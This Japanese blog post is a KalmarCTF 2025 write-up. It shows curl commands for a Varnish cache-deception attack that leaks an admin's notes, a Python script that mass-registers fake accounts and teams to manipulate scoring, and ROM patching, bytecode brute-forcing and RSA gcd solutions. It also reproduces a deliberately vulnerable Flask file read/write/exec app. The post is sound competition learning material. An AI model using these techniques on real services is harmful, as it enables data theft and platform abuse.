st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

KalmarCTF 2025 writeup

3/8 - 3/10という日程で開催された。BunkyoWesternsのEila Ilmatar Juutilainenとして参加して9位。難しい問題ばかりなのはよいことだけれども、0-dayっぽいものが多くないか(・×・)

"All participants are encouraged to use individual accounts and be part of a team" とルールに書かれていたけれども、他チームのメンバー一覧を見に行くとチームでひとつのアカウントを共有しているところが多くて面白かった。ルールは読もう。実は読んでいて、強制ではないと知ってわざとやっていたのかもしれない。

たとえばHKCERT CTF Qualsでは、登録されているメンバーと同じ人数しか決勝大会に招待しないと言われていたので、真面目にひとりひとりユーザ登録するモチベーションがあったけれども、今回のようにそうする嬉しさがなければそりゃアカウントを共有するよなあと思った。

ほかのメンバーのwriteup:


[Web 197] KalmarNotes (51 solves)

Every CTF needs a note taking challenge, here is ours.

(インスタンスを立てる用のサーバのURL)

添付ファイル: kalmarnotes.zip

概要

どのCTFにも大体あるメモアプリ問だ。ユーザ登録とログインを済ませるとメモを作成できるようになる。メモは本人しか読むことができない。

/api/report から好きなURLを報告すると、adminがブラウザで巡回してくれる。adminは次のような流れでURLにアクセスしてくれる。まず admin として問題サーバにログインし、それからユーザが渡したURLにアクセスする。

            hostname = os.getenv('HOSTNAME', 'localhost')
            domain = f'http://localhost:80' if hostname == 'localhost' else f'https://{hostname}'

            password = os.getenv('ADMIN_PASSWORD', 'kalmar')

            self.driver.get(domain+'/login')
            
            username_field = self.driver.find_element(By.NAME, 'username')
            password_field = self.driver.find_element(By.NAME, 'password')
            
            username_field.send_keys('admin')
            password_field.send_keys(password)
            password_field.submit()
# …
            self.driver.get(note_url)

adminだと何ができるか。メモの閲覧や投稿ができるのは普通のユーザと変わらないし、何かadminにしか使えない機能があるわけではない。DBの初期化処理を見るとわかるようにadminはフラグをメモしているらしい。なんとかして読みたい。

                    admin_pass = hashlib.sha256(os.getenv('ADMIN_PASSWORD', 'kalmar').encode()).hexdigest()
                    flag = os.getenv('FLAG', 'default_flag')
                    conn.execute('''
                        INSERT OR IGNORE INTO users (username, password)
                        VALUES (?, ?)
                    ''', ('admin', admin_pass))

実はキャッシュが悪かった

この問題ではVarnishが使われており、次のような設定ファイルが添付ファイルに含まれている。メタ読みだけれども、わざわざVarnishを使っているというのが怪しい。また、ぱっと見てわかるようにここではキャッシュの設定がされており、なるほど、その設定が甘くて余計なものまでキャッシュしてしまうのだろうなあと思う。

.js, .css, .png, .gif といった拡張子を持つ静的ファイルをキャッシュするようにしたいらしい。キャッシュのキーを計算するvcl_hash 等で req.url を参照しているけれども、ドキュメントを読むとクエリパラメータまで含んでしまうとわかる。つまり、どんなページでも ?.gif とつければキャッシュされてしまう。

vcl 4.0;

backend default {
    .host = "127.0.0.1";
    .port = "3000";
}

sub vcl_hash {
    hash_data(req.url);
    if (req.url ~ "\.(js|css|png|gif)$") {  
        return (lookup);
    }
}

sub vcl_recv {
    if (req.url ~ "\.(js|css|png|gif)$") {
        set req.http.Cache-Control = "max-age=10";
        return (hash);
    }
}

sub vcl_backend_response {
    if (bereq.url ~ "\.(js|css|png|gif)$") {
        unset beresp.http.Vary;
        set beresp.ttl = 10s;
        set beresp.http.Cache-Control = "max-age=10";
        unset beresp.http.Pragma;
        unset beresp.http.Expires;
    }
}

sub vcl_deliver {
    if (obj.hits > 0) {
        set resp.http.X-Cache = "HIT";
    } else {
        set resp.http.X-Cache = "MISS";
    }
    set resp.http.X-Cache-Hits = obj.hits;
}

まず、次のように /api/notes?.gif を報告してadminにアクセスしてもらう。これでadminのメモを含んだJSONがキャッシュされるはずだ。

$ curl https://(省略)/api/report -H "Content-Type: application/json" -d '{"url":"https://(省略)/api/notes?.gif"}'
{"message":"Report submitted successfully"}

続いて /api/notes?.gif にアクセスすると、キャッシュされたフラグを手に入れることができた。

$ curl "https://(省略)/api/notes?.gif"
{"notes":[{"content":"kalmar{c4ch3_m3_0ut51d3_h0w_b0w_d4h}","id":66310678687,"title":"Flag"},{"content":"This is not the flag you are looking for","id":160873891823,"title":"Note"}]}
kalmar{c4ch3_m3_0ut51d3_h0w_b0w_d4h}

Webカテゴリでは3番目のsolvesの多さだった。これより解いた人が多い2問の方が難しいことをやっていると思う。

[Rev 179] Snake I - Just One More Apple (62 solves)

It's a simple SNES game of Snake… or is it? Each apple you eat reveals a letter, but before you can spell out the full flag, the apples run out.

If only there were another way to uncover the secret… perhaps by diving into the depths of 65816 assembly and extracting the flag directly from the game's code?

Can you outsmart the limitations and claim your prize?

Note: flag submission is not case sensitive for this challenge. The flag contains underscores, but not dashes.

添付ファイル: snake.sfc

スーファミのROMを解析しなければならないらしい。面倒くさいねえ。与えられているのは以下のようなスネークゲームで、リンゴを食べるごとにもちろん体長が伸びるし、右上に L と表示されているのがわかると思うけれども、このように1文字ずつフラグが表示される。ステートセーブしつつ普通に遊んでもいけそうな気がするが、Revとチートでなんとかしたい。

まず、メモリチートで雑に体長を伸ばせないかと考えた。そのためにも体長が格納されているであろうアドレスを特定したい。Snes9XでCheat → Search for New Cheatsでメモリの値を表示し、リンゴを食べるごとに Search ボタンを押して、「前回 Search したときの値から大きくなっている箇所」という条件でどんどん絞っていく。すると、7E0014と7E001A(7E0014から4を引いた値)に体長らしき値が入っていることが確認できた。値を監視しつつリンゴを取っていくと、確かに増えている。

ただ、これらの値を変えてもおバグり散らかしたり、接触したという判定になってしまうのかすぐにゲームオーバーになってしまったりとまともに動かない。

別の方法を探す必要がありそうだ。リンゴを取得したタイミングで値が変わっている箇所を探すと、どうやら7E0C5Eに右上に表示されている現在の文字が格納されているとわかった。リンゴを食べるごとに59, 49, 60, 61, …と変化していくが、16足すとASCIIコードで KALM… となる。

どこでその値が変更されているか確認したい。当該アドレスに書き込みがあった際に実行を止めるブレークポイントがあると嬉しい。Snes9Xだとやりづらそうだったので別のエミュレータを探していると、Mesenという大変便利なものを見つけた。

Debug → DebuggerからBreakpointsで右クリックし、Edit breakpointを選択する。そして、C5Eへ書き込みがあった場合に実行を停止するよう設定する。

このまま普通にゲームを遊んでリンゴを食べると、85ADという箇所で当該アドレスに書き込まれていることがわかった。ほかの箇所からの書き込みは確認できなかった。また、この周辺にブレークポイントを置いて遊んでみることで、リンゴを食べたときにのみ858Fへジャンプすることがわかった。

ではどこからここに来たのか。DisassemblyペインでCtrl + Fを押し 858F と検索してみると、BEQ $00858F という明らかにこれだろうという命令が見つかる。何かと比較したうえで一致していれば858Fへジャンプするということをしているようだ。ここでリンゴを食べたかどうかの判定をしているのだろう。

この命令で右クリックを押し、Edit Selected Codeを選択する。面白いことに実行中にコードを書き換えることもできるらしい。BEQ から BNE に変えてやり、条件の判定を逆にしてしまう。一旦ゲームをリセットして再びスタートすると、何も食べていないにもかかわらずリンゴを食べ続けていることになり、1文字ずつフラグが表示された。

youtu.be


このほかにも2問のスーファミRevがあり、いずれも0 solvesだった。面白いけどしんどいので、それはそう。

[Rev 219] FlagSecurityEngine (41 solves)

The Kalmar FlagSecurityEngine™'s usage of the loadall() function will surely protect the flag from reverse engineering, right?

Note: this challenge is meant to serve as an introduction to the pwn loadall.js challenge. Solving this challenge first is recommended.

添付ファイル: flagsecurityengine.tgz

概要

次の5つのファイルが与えられている。

$ tree .
.
├── chall.amd64
├── chall.arm64
├── chall.js
├── main.cc
└── makedep.sh

0 directories, 5 files

main.ccmakedep.sh によってコンパイルしたのが chall.amd64chall.arm64 という関係性になっている。chall.* にコマンドライン引数として chall.js を与えることで、正常にこのJSコードを実行できるらしい。実行しても間違っていると怒られるだけだけど。

$ ./chall.amd64 chall.js
Wrong flag!

chall.js は次のような内容だった。loadall という謎の関数にバイト列を渡していたり、checkFlag という謎の関数でフラグかどうかチェックされていたりと、謎の関数が多い。

// load the Kalmar Flag Security Engine™
loadall((new Uint8Array([67, 9, 18, 117, 115, 101, 32, 115, 116, 114, 105, 112, 18, 99, 104, 101, 99, 107, 70, 108, 97, 103, 2, 95, 6, 109, 97, 112, 24, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 20, 99, 104, 97, 114, 67, 111, 100, 101, 65, 116, 10, 112, 114, 105, 110, 116, 22, 87, 114, 111, 110, 103, 32, 102, 108, 97, 103, 33, 22, 82, 105, 103, 104, 116, 32, 102, 108, 97, 103, 33, 12, 0, 2, 2, 162, 1, 0, 2, 0, 3, 0, 1, 19, 0, 8, 204, 4, 227, 0, 0, 0, 203, 200, 194, 0, 21, 67, 228, 0, 0, 0, 207, 40, 12, 67, 2, 2, 200, 3, 1, 6, 1, 32, 0, 3, 219, 3, 0, 97, 4, 0, 97, 3, 0, 97, 2, 0, 97, 1, 0, 97, 0, 0, 194, 0, 77, 229, 0, 0, 0, 203, 98, 0, 0, 204, 193, 1, 205, 195, 206, 191, 98, 191, 57, 191, 35, 191, 34, 191, 42, 191, 41, 191, 104, 191, 79, 191, 18, 191, 28, 191, 29, 191, 75, 191, 55, 183, 191, 49, 191, 33, 191, 37, 191, 46, 191, 65, 191, 21, 191, 120, 191, 99, 191, 123, 191, 68, 191, 112, 191, 20, 191, 78, 191, 19, 191, 61, 191, 31, 191, 54, 191, 122, 38, 32, 0, 191, 39, 76, 32, 0, 0, 128, 191, 123, 76, 33, 0, 0, 128, 191, 23, 76, 34, 0, 0, 128, 191, 29, 76, 35, 0, 0, 128, 191, 30, 76, 36, 0, 0, 128, 191, 52, 76, 37, 0, 0, 128, 190, 76, 38, 0, 0, 128, 188, 76, 39, 0, 0, 128, 191, 103, 76, 40, 0, 0, 128, 190, 76, 41, 0, 0, 128, 191, 95, 76, 42, 0, 0, 128, 191, 127, 76, 43, 0, 0, 128, 188, 76, 44, 0, 0, 128, 191, 57, 76, 45, 0, 0, 128, 191, 58, 76, 46, 0, 0, 128, 189, 76, 47, 0, 0, 128, 191, 105, 76, 48, 0, 0, 128, 191, 84, 76, 49, 0, 0, 128, 191, 60, 76, 50, 0, 0, 128, 191, 55, 76, 51, 0, 0, 128, 191, 34, 76, 52, 0, 0, 128, 191, 44, 76, 53, 0, 0, 128, 191, 100, 76, 54, 0, 0, 128, 191, 90, 76, 55, 0, 0, 128, 191, 84, 76, 56, 0, 0, 128, 191, 100, 76, 57, 0, 0, 128, 187, 76, 58, 0, 0, 128, 191, 12, 76, 59, 0, 0, 128, 191, 59, 76, 60, 0, 0, 128, 191, 54, 76, 61, 0, 0, 128, 191, 64, 76, 62, 0, 0, 128, 191, 76, 76, 63, 0, 0, 128, 191, 92, 76, 64, 0, 0, 128, 191, 120, 76, 65, 0, 0, 128, 66, 230, 0, 0, 0, 194, 2, 36, 1, 0, 66, 92, 0, 0, 0, 195, 36, 1, 0, 197, 4, 97, 5, 0, 183, 197, 5, 98, 5, 0, 211, 235, 164, 236, 76, 98, 3, 0, 56, 155, 0, 0, 0, 66, 231, 0, 0, 0, 211, 66, 232, 0, 0, 0, 98, 5, 0, 36, 1, 0, 98, 2, 0, 191, 95, 174, 175, 36, 1, 0, 158, 17, 99, 3, 0, 14, 98, 1, 0, 98, 2, 0, 211, 66, 232, 0, 0, 0, 98, 5, 0, 36, 1, 0, 242, 17, 99, 2, 0, 14, 98, 5, 0, 146, 99, 5, 0, 14, 238, 174, 98, 3, 0, 98, 4, 0, 171, 236, 14, 56, 233, 0, 0, 0, 4, 234, 0, 0, 0, 241, 14, 41, 56, 233, 0, 0, 0, 4, 235, 0, 0, 0, 241, 14, 41, 12, 66, 2, 2, 0, 2, 1, 2, 3, 0, 0, 57, 0, 97, 0, 0, 183, 203, 98, 0, 0, 191, 16, 164, 236, 41, 211, 211, 191, 15, 162, 175, 219, 211, 191, 13, 161, 175, 219, 211, 191, 17, 162, 175, 215, 212, 211, 175, 216, 211, 212, 191, 11, 162, 175, 215, 98, 0, 0, 146, 99, 0, 0, 14, 238, 209, 211, 212, 175, 40, 6, 0, 0, 32, 241, 11, 124, 234, 65, 12, 66, 2, 2, 0, 2, 0, 2, 4, 0, 0, 16, 0, 56, 155, 0, 0, 0, 66, 231, 0, 0, 0, 211, 212, 175, 37, 1, 0])).buffer)

// check your flag by calling the function:
checkFlag('kalmar{flag goes here}')

main.cc を確認すると少し謎が解ける。QuickJSを組み込んでいるのだけれども、その流れで loadall という関数を定義している。JS_ReadObject で引数のバイト列をバイトコードとして解釈し、JS_EvalFunction でそれを実行している。なるほど、QuickJSのバイトコードを解析する問題らしい。

// …
    JSValue x = JS_NewCFunction(ctx, [] (JSContext* ctx, JSValueConst thisval, int argc, JSValueConst* argv) -> JSValue {
        if (argc != 1) return JS_UNDEFINED;
        size_t psize;
        uint8_t* mem = JS_GetArrayBuffer(ctx, &psize, argv[0]);
        if (!mem) return JS_UNDEFINED;
        void* cpy = malloc(psize);
        memcpy(cpy, mem, psize);

        JSValue v = JS_ReadObject(ctx, (uint8_t*)cpy, psize, JS_READ_OBJ_BYTECODE);
        if (JS_IsException(v)) {
            raise(ctx);
        }
        v = JS_EvalFunction(ctx, v);
        if (JS_IsException(v)) {
            raise(ctx);
        }
        return v;
    }, "loadall", 0);
    JS_SetPropertyStr(ctx, JS_GetGlobalObject(ctx), "loadall", x);
// …

雑にQuickJSをいじる

私が問題を確認した時点で、さんとrand0mさんによってバイトコードの逆アセンブル等が行われていた。fromCharCodemap のような文字列がバイトコードの中に見え、なんか文字列を切ったり数値にしたりしてそうだなあと思う。

何度か fromCharCode が呼ばれるということで、どんな引数が渡っているか確認したいと思い、QuickJSのコード中の js_string_fromCharCode を次のように変更する。

$ git diff
diff --git a/quickjs.c b/quickjs.c
index 642ae34..f2d9bc3 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -41466,6 +41466,7 @@ static JSValue js_string_fromCharCode(JSContext *ctx, JSValueConst this_val,
             string_buffer_free(b);
             return JS_EXCEPTION;
         }
+        /**/printf("%02x", c);
     }
     return string_buffer_end(b);
 }

chall.jscheckFlag の引数をいじりつつ、どのような引数が String.fromCharCode に渡っているかを確認する。まず空文字列を渡してやると、次のように表示された。

$ ./chall.amd64 poyo.js
623821212e2c6e481a1517403b0d3f2e353f53066c766d53680d540821022865075a353e3a1121224f2e75542914142959650e041619526d6c5d3e37070b7e731c39Wrong flag!

checkFlag をどんどん変えていく。これで法則性が見えてきた。最初の132文字(66バイト)は常に同じだけれども、それ以降は与えた引数によって変わっていく。以降の出力は文字数と同じ長さだし、2文字目以降はそれまでの文字に依存して変わる。1文字ずつブルートフォースすればよさそうだ。

k → 623821212e2c6e481a1517403b0d3f2e353f53066c766d53680d540821022865075a353e3a1121224f2e75542914142959650e041619526d6c5d3e37070b7e731c3962Wrong flag!
a → 623821212e2c6e481a1517403b0d3f2e353f53066c766d53680d540821022865075a353e3a1121224f2e75542914142959650e041619526d6c5d3e37070b7e731c3968Wrong flag!
kalmar → 623821212e2c6e481a1517403b0d3f2e353f53066c766d53680d540821022865075a353e3a1121224f2e75542914142959650e041619526d6c5d3e37070b7e731c39623821212e2cWrong flag!
kalmal → 623821212e2c6e481a1517403b0d3f2e353f53066c766d53680d540821022865075a353e3a1121224f2e75542914142959650e041619526d6c5d3e37070b7e731c39623821212e32Wrong flag!
aalmar → 623821212e2c6e481a1517403b0d3f2e353f53066c766d53680d540821022865075a353e3a1121224f2e75542914142959650e041619526d6c5d3e37070b7e731c39683273223e75Wrong flag!

Pythonで雑にブルートフォースするスクリプトを書く。

import json
import string
import subprocess

TEMPLATE = '''
loadall((new Uint8Array([67, 9, 18, 117, 115, 101, 32, 115, 116, 114, 105, 112, 18, 99, 104, 101, 99, 107, 70, 108, 97, 103, 2, 95, 6, 109, 97, 112, 24, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 20, 99, 104, 97, 114, 67, 111, 100, 101, 65, 116, 10, 112, 114, 105, 110, 116, 22, 87, 114, 111, 110, 103, 32, 102, 108, 97, 103, 33, 22, 82, 105, 103, 104, 116, 32, 102, 108, 97, 103, 33, 12, 0, 2, 2, 162, 1, 0, 2, 0, 3, 0, 1, 19, 0, 8, 204, 4, 227, 0, 0, 0, 203, 200, 194, 0, 21, 67, 228, 0, 0, 0, 207, 40, 12, 67, 2, 2, 200, 3, 1, 6, 1, 32, 0, 3, 219, 3, 0, 97, 4, 0, 97, 3, 0, 97, 2, 0, 97, 1, 0, 97, 0, 0, 194, 0, 77, 229, 0, 0, 0, 203, 98, 0, 0, 204, 193, 1, 205, 195, 206, 191, 98, 191, 57, 191, 35, 191, 34, 191, 42, 191, 41, 191, 104, 191, 79, 191, 18, 191, 28, 191, 29, 191, 75, 191, 55, 183, 191, 49, 191, 33, 191, 37, 191, 46, 191, 65, 191, 21, 191, 120, 191, 99, 191, 123, 191, 68, 191, 112, 191, 20, 191, 78, 191, 19, 191, 61, 191, 31, 191, 54, 191, 122, 38, 32, 0, 191, 39, 76, 32, 0, 0, 128, 191, 123, 76, 33, 0, 0, 128, 191, 23, 76, 34, 0, 0, 128, 191, 29, 76, 35, 0, 0, 128, 191, 30, 76, 36, 0, 0, 128, 191, 52, 76, 37, 0, 0, 128, 190, 76, 38, 0, 0, 128, 188, 76, 39, 0, 0, 128, 191, 103, 76, 40, 0, 0, 128, 190, 76, 41, 0, 0, 128, 191, 95, 76, 42, 0, 0, 128, 191, 127, 76, 43, 0, 0, 128, 188, 76, 44, 0, 0, 128, 191, 57, 76, 45, 0, 0, 128, 191, 58, 76, 46, 0, 0, 128, 189, 76, 47, 0, 0, 128, 191, 105, 76, 48, 0, 0, 128, 191, 84, 76, 49, 0, 0, 128, 191, 60, 76, 50, 0, 0, 128, 191, 55, 76, 51, 0, 0, 128, 191, 34, 76, 52, 0, 0, 128, 191, 44, 76, 53, 0, 0, 128, 191, 100, 76, 54, 0, 0, 128, 191, 90, 76, 55, 0, 0, 128, 191, 84, 76, 56, 0, 0, 128, 191, 100, 76, 57, 0, 0, 128, 187, 76, 58, 0, 0, 128, 191, 12, 76, 59, 0, 0, 128, 191, 59, 76, 60, 0, 0, 128, 191, 54, 76, 61, 0, 0, 128, 191, 64, 76, 62, 0, 0, 128, 191, 76, 76, 63, 0, 0, 128, 191, 92, 76, 64, 0, 0, 128, 191, 120, 76, 65, 0, 0, 128, 66, 230, 0, 0, 0, 194, 2, 36, 1, 0, 66, 92, 0, 0, 0, 195, 36, 1, 0, 197, 4, 97, 5, 0, 183, 197, 5, 98, 5, 0, 211, 235, 164, 236, 76, 98, 3, 0, 56, 155, 0, 0, 0, 66, 231, 0, 0, 0, 211, 66, 232, 0, 0, 0, 98, 5, 0, 36, 1, 0, 98, 2, 0, 191, 95, 174, 175, 36, 1, 0, 158, 17, 99, 3, 0, 14, 98, 1, 0, 98, 2, 0, 211, 66, 232, 0, 0, 0, 98, 5, 0, 36, 1, 0, 242, 17, 99, 2, 0, 14, 98, 5, 0, 146, 99, 5, 0, 14, 238, 174, 98, 3, 0, 98, 4, 0, 171, 236, 14, 56, 233, 0, 0, 0, 4, 234, 0, 0, 0, 241, 14, 41, 56, 233, 0, 0, 0, 4, 235, 0, 0, 0, 241, 14, 41, 12, 66, 2, 2, 0, 2, 1, 2, 3, 0, 0, 57, 0, 97, 0, 0, 183, 203, 98, 0, 0, 191, 16, 164, 236, 41, 211, 211, 191, 15, 162, 175, 219, 211, 191, 13, 161, 175, 219, 211, 191, 17, 162, 175, 215, 212, 211, 175, 216, 211, 212, 191, 11, 162, 175, 215, 98, 0, 0, 146, 99, 0, 0, 14, 238, 209, 211, 212, 175, 40, 6, 0, 0, 32, 241, 11, 124, 234, 65, 12, 66, 2, 2, 0, 2, 0, 2, 4, 0, 0, 16, 0, 56, 155, 0, 0, 0, 66, 231, 0, 0, 0, 211, 212, 175, 37, 1, 0])).buffer)
checkFlag({})
'''

target = b'623821…731c39'

flag = ''
for i in range(len(target) // 2):
    for c in string.printable.strip():
        tmp = flag + c
        code = TEMPLATE.format(json.dumps(tmp))
        with open('test.js', 'w') as f:
            f.write(code)
        r = subprocess.check_output('./chall.amd64 test.js', shell=True)[len(target):]
        if r[i*2:(i+1)*2] == target[i*2:(i+1)*2]:
            flag += c
            print(f'{flag=}')
            break

実行するとフラグが得られた。

$ python3 solve.py
…
flag='kalmar{NOW_ThA7-y0U_kn0W-HOW-Qu1CKj5-W0rKs-CaN_yOu_PWN_it_4$_WelL}'
kalmar{NOW_ThA7-y0U_kn0W-HOW-Qu1CKj5-W0rKs-CaN_yOu_PWN_it_4$_WelL}

[Misc 137] babyKalmarCTF (107 solves)

Ever played a CTF inside a CTF?

We were looking for a new scoring algorithm which would both reward top teams for solving super hard challenges, but also ensure that the easiest challenges wouldn't go to minimum straight away if more people played than we expected.

Thats when we came across this ingenious suggestion! https://github.com/sigpwny/ctfd-dynamic-challenges-mod/issues/1

We've implemented it this scoring idea(see here: https://github.com/blatchley/ctfd-dynamic-challenges-mod ) and spun up a small test ctf to test it out.

If you manage to win babykalmarCTF, we'll even give you a flag at /flag!

Spin up your own personal babykalmarCTF here: (インスタンスを立てる用のサーバのURL)

Note: Rather than each member starting their own, we encourage one person to make a remote for your team, and then share the link with everyone else! Please be nice to instances, getting flag doesn't involve heavy compute/"hacking CTFd" or abuse on remote.
Its solveable through very normal interactions with a CTFd instance. We encourage the whole team working together on the same remote.

概要

問題文がちょっと長いけれども、CTFd向けにdynamic scoringを採用している際の得点の計算式を変更するプラグインを作ってみたということらしい。それを使ったCTFであるbabykalmarCTFで1位を取って /flag にアクセスするとフラグがもらえると。

プラグインのコードを確認する。なるほど、得点の計算にあたって、その問題を解いたチーム数だけでなく、登録しているチームの数も考慮に入れるらしい。

def calculate_value(cls, challenge):
    # …
    teams_count = Model.query.filter_by(hidden=False, banned=False).count()
    # …
    def get_score(rl, rh, maxSolves, solves):
        s = max(1, maxSolves)
        f = lambda x: rl + (rh - rl) * b(x / s)
        return round(max(f(solves), f(s)))
    # value = get_score(challenge.minimum, challenge.initial, challenge.decay, solve_count)
    # https://github.com/sigpwny/ctfd-dynamic-challenges-mod/issues/1
    value = get_score(challenge.minimum, challenge.initial, teams_count, solve_count)
    # …

インスタンスを立ててみる。適当なユーザとチームを作成してスコアボードを見てみると、現状はKalmarunionenの圧勝らしい。

このCTFにはCrypto, Rev, OSINT等のカテゴリがあり、全部で9問が出題されている。Impossibleカテゴリについてはとても解けそうにない。たとえば、Baby's Second RSAという問題はRSA-1024の素因数分解ができると解けるようになっている。

KalmarunionenはImpossibleカテゴリの問題しか解いていない。チーターだ。

チームを増やす

登録されているチーム数が得点の計算に考慮されるということだけれども、では大量にチームを増やしたらどうなるのだろう。次のスクリプトを使ってやってみた。

import re
import uuid
import httpx

BASE_URL = 'https://(省略)/'

def register():
    u = str(uuid.uuid4())

    sess = httpx.Client(base_url=BASE_URL)
    r = sess.get('/register')
    sess.post('/register', data={
        'name': u,
        'email': f'{u}@example.com',
        'password': u,
        'nonce': re.findall(r'"([0-9a-f]{64})"', r.text)[0],
        '_submit': 'Submit'
    })

    r = sess.get('/teams/new')
    sess.post('/teams/new', data={
        'name': u,
        'password': u,
        'nonce': re.findall(r'"([0-9a-f]{64})"', r.text)[0],
        '_submit': 'Submit'
    })

    return sess

for i in range(300):
    print(i)
    try:
        register()
    except:
        print('poyopo')

100チームほどできた段階でWelcome Flagを通してみる。すると、Welcome Flagの点数が304点から939点まで大幅に上昇した。また、どうやら点数の変化はその問題に限られる(ほかの問題は再計算しない)、かつ再計算は誰かが正答したタイミングでのみ行われるらしい。あと4問解けばKalmaunionenを超えられそうだ。ただ、面倒くさいことに残りの4問はいずれも(少なくともこれまで遊んだうち特に面白くないと感じたいくつかのCTFと比較して)ちゃんとした問題だ。解かねばならない。

babykalmarCTF

[Crypto] Baby's first RSA adventure

Great rsa Challenges are Delightful

添付ファイル: chal.py, output.txt

chal.py は以下のような内容だった。n1とn3, n1とn2, n2とn3についてそれぞれ最大公約数を見るとp, q, rが得られそうだ。

from Crypto.Util.number import getPrime


with open("flag.txt", "rb") as f:
    flag = f.read()

flag = int.from_bytes(flag, 'big')

e = 65537

p,q,r = [getPrime(512) for _ in "pqr"]

print(f'n1 = {p*q}')
print(f'c1 = {pow(flag, e, p*q)}')
print(f'n2 = {q*r}')
print(f'c2 = {pow(flag, e, q*r)}')
print(f'n3 = {r*p}')
print(f'c3 = {pow(flag, e, r*p)}')

ソルバを用意する。

import math
from Crypto.Util.number import *

n1 = 92045071469462918382808444819504749563961839349096597384482544087908047186245341810642171828493439415203636331750819922984117530107215197072782880474039650967711411408034481971170502798025943494586125686145145275611434604037182033168196599652119558449773401870500131970644786235514317736653798125756404891127
n2 = 138872353325175299307460237192549876070806082965466021111327520189900415231224864814489473847190673904249096844311163666118481717154197936898625500598207447786178788728989474031735348581801399821380599701957041743964351118199095341359179067904834006929292304447601473687076874217599854120530320878903822568483
n3 = 96873643524161216047523283610645732806192956944624208819078561364455621631633510067022852244593247313195537163455457833157440906743895116798782534912117642844197952559448815829606193149605373700004399064513744456542191695589096233791113561406431990041145854326610075794048654641871205275800952496149515217589
c1 = 83837022114533675382122799116377123399567305874353525217531313052347013266429457590484976944405567987615711918756165213164809141929523845319047846779529628627662566542055574929528850262048285117600900265045865263948170688845876052722196561247534915037323009007843324908963180407442831108561689170430284682827
e = 65537

p = math.gcd(n1, n3)
q = math.gcd(n1, n2)
d = pow(e, -1, (p-1) * (q-1))
print(long_to_bytes(pow(c1, d, n1)).decode())

実行するとフラグが得られた。

babykalmar{wow_you_are_an_rsa_master!!!!!}

[Rev] My First Flagchecker

My friend got tired of me trying to guess what flag he was thinking of, so he wrote a program that will take my input and compare to the flag, and tell me if its correct!

Surely there has to be a better way of extracting the flag than guessing though right?

添付ファイル: flagcheck

初心者向けCTFのrev問といえば strings だ。与えられたバイナリに含まれる文字列を抽出すると、無事にフラグが得られた。

$ strings flagcheck | grep baby
babykalmar{string_compare_rev_ayoooooooo}
babykalmar{string_compare_rev_ayoooooooo}

[OSINT] THE OSINT CHALLENGE

I heard this building contains a world class cryptography and security group! (Who are ranked way higher on csrankings.com for cryptography than anyone else in europe!)

Wow they must be awesome, I wonder if any of them play CTFs :o

Flag is the name of the city, wrapped in the flag format. fx: babykalmar{cityname}

添付ファイル: osintchallenge.jpg

建物の写真が与えられる。文字情報やEXIFがないのでつらそうに見えるが、なかなか特徴的なのでGoogle Lensでなんとかなりそうだ。投げるとオーフス大学だとわかる。

babykalmar{aarhus}

[Misc] Baffling, Ridiculous And Intriguing Letters, Laughter Ensues!

I wanted to make a super cool and original challenge!

My friend said something about "always remember that www.dcode.fr is a really really bad way to..." but by that point I'd stopped listening ^^

添付ファイル: flag.txt

次のような内容のテキストファイルが与えられる。点字だ。

⠃⠁⠃⠽⠅⠁⠇⠍⠁⠗{⠎⠥⠏⠑⠗⠕⠗⠊⠛⠊⠝⠁⠇⠍⠕⠗⠎⠑⠉⠕⠙⠑⠉⠓⠁⠇⠇⠑⠝⠛⠑}

問題文中のwww.dcode.frでbrailleと検索するとデコーダが見つかる。これでデコードするとフラグが得られた。

babykalmar{superoriginalmorsecodechallenge}

本当にほしいフラグを得る

これでImpossibleカテゴリを解かずとも4000点を超えられた。

/flag にアクセスするとフラグが得られた。

kalmar{w0w_y0u_b34t_k4lm4r_1n_4_c7f?!?}

大量にチームを作って問題の点数を操作するというCTFプレイヤーであれば一度は考えた(そしてもちろん実行には移さなかった)であろうアレを合法的にやれるという夢のような問題だった。

[Misc 393] RWX - Gold (12 solves)

We give you file read, file write and code execution. But can you get the flag? Let's reduce that.

(インスタンスを立てる用のサーバのURL)

添付ファイル: rwx-gold.zip

概要

この問題の前にBronzeとSilverの2問があったけれども、それらは鳥さんが先に解いていた。与えられているソースコードを見ていく。Dockerfile は次の通り。FlaskでWebサーバを立てているなあというのと、/would というバイナリを実行するのがゴールっぽいなあというのがわかる。

FROM ubuntu:latest

RUN apt-get update && \
    apt-get install -y python3 python3-pip gcc
RUN pip3 install flask==3.1.0 --break-system-packages

WORKDIR /
COPY flag.txt /
RUN chmod 400 /flag.txt

COPY would.c /
RUN gcc -o would would.c && \
    chmod 6111 would && \
    rm would.c

WORKDIR /app
COPY app.py .

RUN useradd -m user
USER user

CMD ["python3", "app.py"]

app.py は次の通り。パーミッションが許す範囲で好きなファイルの読み書きができるし、3文字以内であれば好きなOSコマンドが実行できる。好きに読み書きができるといっても単純に openwrite を使っているだけで、再帰的にディレクトリの作成を行うようにはしていない。したがって、/home/user/naide/sample.txt のように存在しないディレクトリ下に書き込むことはできない。

from flask import Flask, request, send_file
import subprocess

app = Flask(__name__)

@app.route('/read')
def read():
    filename = request.args.get('filename', '')
    try:
        return send_file(filename)
    except Exception as e:
        return str(e), 400

@app.route('/write', methods=['POST'])
def write():
    filename = request.args.get('filename', '')
    content = request.get_data()
    try:
        with open(filename, 'wb') as f:
            f.write(content)
        return 'OK'
    except Exception as e:
        return str(e), 400

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', '')
    if len(cmd) > 3:
        return 'Command too long', 400
    try:
        output = subprocess.check_output(cmd, shell=True)
        return output
    except Exception as e:
        return str(e), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=6664)

Goldよりさらに難しいRWX - Diamondという問題も存在しており、Goldから次のようなdiffが加えられていた。特に前者の変更から、この問題でもホームディレクトリ下になにかファイルを書き込むのが正攻法なのだろうと読み取った。

  • useradd から -m オプションが削除される。これでホームディレクトリ(/home/user)が作成されないようになる
  • 3文字以下から4文字以下に制限が緩和される

